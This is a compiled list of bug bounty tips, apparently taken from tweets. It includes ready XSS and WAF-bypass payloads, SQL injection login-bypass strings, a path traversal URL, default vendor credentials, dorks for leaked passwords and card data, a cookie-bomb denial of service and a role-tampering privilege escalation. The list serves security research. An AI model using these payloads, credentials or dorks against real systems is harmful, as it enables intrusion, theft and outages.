🚨Bounty Tips Collected From Twitter🚨

[ ] Tip 1

```
Here’s my last finding (P1)
1- register account
2- intercept request
3- here’s the response in image so in “role” parameter we have ROLE_USER
So i don’t know what i can replace it to privilege my account to admin
4- open source code and look in js files
5-So in js files i user ctrl+F to search about “user_role” i found another value that’s called “a
6- so i use match and replace to replace value’s
7- boom privilege my account to admin account with full control
```

[ ] Tip 2

```
اسعد الله ايامكم بكل خير

هذا ثغرة في شركة مايكروسوفت
كانت جدا بسيطة بسبب خطأ في اعداد سيرفر IIS

Exploit:
https//anywebsite.com/c:/Windows/Win.ini
```

[ ] Tip 3

```
CloudFront bypass:⚔️

">%0D%0A%0D%0A<x '="foo"><x foo='><img src=x onerror=javascript:alert(cloudfrontbypass)//'>

Would be interested to know if this is target specific or other CloudFront websites are vulnerabl
```

[ ] Tip 4

```
1 : Get all the URL from wayback / Gau
2 : Filter out the js file using httpx
3 : Check Mnauly all the js file or you can use nuclei template or used @trufflesec chrome extens
```

[ ] Tip 5

```
target.com/wp-config.php  => 404 not found
target.com/wp-config.php.…  ==> 200 ok and downloaded
wp-config.php.swp ==>>200 ok

after that if its contain encoded using hexadecimal decode it .
```

[ ] Tip 6

```
try testing for SQLi Authentication Bypass :⚔️
username:'--'/"--"
```

```
password:'--'/"--"
```

[ ] Tip 7

```
default credentials:
PSADMIN:PSADMIN
PS:PS
PSEM:PSEM
Google Dork: intitle:"Oracle+PeopleSoft+Sign-in"
Wrote a nuclei template to test all permutations
```

[ ] Tip 8

```
nmap -sV -iL host.txt -oN nmap_scan.txt
Wait a few hours
cat nmap_scan.txt | grep open
```

[ ] Tip 9

```
https://youtu.be/VsM6ERUx_AA
------------------------------------------
------------------------------------------
Xss payload
https://github.com/Aacle/xss_payload
------------------------------------------
------------------------------------------
Use Nuclei for leaked api.
$ nuclei -t /nuclei-templates/token-spray/ -var token={yourToken}
------------------------------------------
------------------------------------------
#Scan through #TOR
sqlmap -u “http://target_server/” --tor --tor-type=SOCKS5
------------------------------------------
------------------------------------------
Tip: - always check company's/Organization employees GitHub account for leaked ghp_ token,
and check access to each repo of main organization

------------------------------------------
------------------------------------------

bypass alert ==> [alert][0].call(this,1)
------------------------------------------
------------------------------------------
```

[ ] Tip 10

```
1_ Go to SHODAN and get the IP
2 _ Go to Dirsearch and do a Fuzzing
3_ Obtaining sensitive data
```

[ ] Tip 11

```
Recon Recon Recon!!
Shodan Dorking Always wins.

ssl:"Company Inc"
Filter results by http title.
```

```
Start fuzzing an interesting asset.
Found swagger-ui/
Tried swagger ui xss with
https://github.com/seanmarpo/webjars-swagger-xss
```

[ ] Tip 12

```
Have you ever heard about wc-db file disclosure?!

> you can check it by:
https://target[.]com/.svn/wc.db

> then you can use this tool to dump all of the website source code

https://github.com/anantshri/svn-extractor
```

[ ] Tip 13

```
1. Shodan Dork -> Some Assets.
2. Fuzzing & got 403 Forbidden on /config dir.
3. Fuzzing on /config/FUZZ and getting some config files.
4. Same pattern and it works on another asset.
```

[ ] Tip 14

```
Default Credentials admin:admin
- shodan dork :
- ssl:"target[.]com" 200 http.title:"dashboard"
```

[ ] Tip 15

A quick thread about JIRA misconfiguration that I tried today.

```
3. Google dorks to find jira dashboards.

inurl:/ConfigurePortalPages!default.jspa?view=popular



4. Google dork to find jira filters page.

inurl:/ManageFilters.jspa?filterView=popular AND ( intext:All users OR intext:Shared with the pub
```

[ ] Tip 16

```
5. Google dork to find the exposed user list.

inurl:/UserPickerBrowser.jspa -intitle:Login -intitle:Log
```

[ ] Tip 17

```
GitHub Recon Tip: look for CSV files that have a high chance of containing confidential informati
dork: "org:company extension:csv admin"
```

```
leak: "cc number, cvv, email, phone number"
```

[ ] Tip 18 Oneliner for possible Reflected XSS using Nilo, gxss and Dalfox:

```
cat targets | waybackurls | anew | grep "=" | gf xss | nilo | gxss -p test | dalfox pipe --skip-b
```

[ ] Tip 19

```
Tip : "GET request for XML not found" changes the request to POST with XXE payload
```

[ ] Tip 20 Extract Juicy Info From AlienVault

```
for sub in $(cat HOSTS.txt); do gron "https://otx.alienvault.com/otxapi/indicator/hostname/url_li
```

[ ] Tip 21 bypass PHPMYADMIN

```
phpmyadmin =>301
PHPmyadmin =>200
PHPMYadmin =>200
PHPMYADMIN =>200
phpMYadmin =>200
phpmyAdmin =>200
```

[ ] Tip 22 SVN

```
1. ./dirsearch.py -u target -e php,html,js,xml -x 500,403
2. found http://url.com/.svn/
3. clone & use https://github.com/anantshri/svn-extractor
4. ./svn-extractor.py --url http://url.com --match database.php
5. result in output dir and just open it
```

[ ] Tip 23 xss

```
in :
firstname:<img src=x
middlename:onerror
lastname:=alert(domain)/>

==========================
1:- Use https://github.com/Leoid/MatchandReplace
2:- Import to burpsuite match and replace.
3:- Run gospider. gospider -s url -a -w --sitemap -r -c 100 -d 8 -p http://127.0.0.1:8080
4:- The Blind xss payload will added automatically by burp and gospider.
Finally:- 4 BLIND XSS REPORTS.
```

[ ] Tip 24 Cookie Bomb

```
URL that causes the cookie length to exceed request header limits for all requests until the cook
1. Find a Cookie set by a parameter
```

```
2. Inject as many commas as you can into the parameter until you DoS that user
```

[ ] Tip 25 xss via jwt

```
1. Make a jwt token and insert a xss paylaod.
2. The final url is like url/dest?jwt=vulnerable-jwt-token.
(jwt= paramter was decoding the provided jwt token and show's it into the page).
```

[ ] Tip 26 Getting Private Information URLs by curling

```
1. Grab all URLs from your target which you think hard to hunt or test or static
2. Save all files in any.txt
3. Command : for i in $(cat any.txt); do curl "$i" >> output.txt; done
4. All curled response grep for following
Keywords:
drive. google
docs. google
/spreadsheets/d/
/document/d/
NOTE: This creates lots of junk so make sure you perform in folder , so you can delete later
You will get URLs includes juicy information
```

[ ] Tip 26 Injecting Payload In Phone Numbers field

```
https://twitter.com/Pwn2arn/status/1609146484263641089
```

[ ] Tip 27 Easy P1 upside_down_face

```
1: Collect all the Js files by using the developer tool on mozila
2: Run Link Finder Tool on that JS files which you got from dev tool or use Js Miner tool
3: Now check manually sensitive keyword js file
```

[ ] Tip 28 Tips for my last P1 :

```
1 - Found dev portal for developing require Basic Auth
2 - search in GitHub "domain" docker
3- found a user try to pull the privite repository and passing the username:pass
4 - Decode Base64 Basic Auth
5 - Logged in and full access on all Prod
```

[ ] Tip 29 Github leak for Aws,jira,okta etc

```
1. Org:"target" pwd/pass/passwd/password
2. "target. atlassian" pwd/pass/passwd/password
3. "target. okta" pwd/pass/passwd/password
4. "Jira. target" pwd/pass/passwd/password
```

[ ] Tip 30 soucremap js

```
https://blog.prodefense.io/little-bug-big-impact-25k-bounty-9e47773f959f
https://github.com/rarecoil/unwebpack-sourcemap
```

[ ] Tip 31 if a site uses AngularJS,

```
test {{7*7}} to see whether 49 is rendered anywhere.
If the application is built with ASP.NET with XSS protection
enabled, you might want to focus on testing other vulnerability
types first and check for XSS as a last resort.

AngularJS Client-Side Template Injection
https://github.com/tijme/angularjs-csti-scanner?fbclid=IwAR0z3X2XRXRugdCiGSMk_CHVn3-MZU1qFHWKVHXU
```

[ ] Tip 32 If a site is built with Rails,

```
you might know that URLs typically follow a /CONTENT_TYPE/RECORD_ID pattern, where the
RECORD_ID is an autoincremented integer. Using HackerOne as an example, report URLs follow the pa
www.hackerone.com/reports/12345. Rails applications commonly use integer IDs, so you might priori
insecure direct object reference vulnerabilities because this vulnerability type is easy for deve
```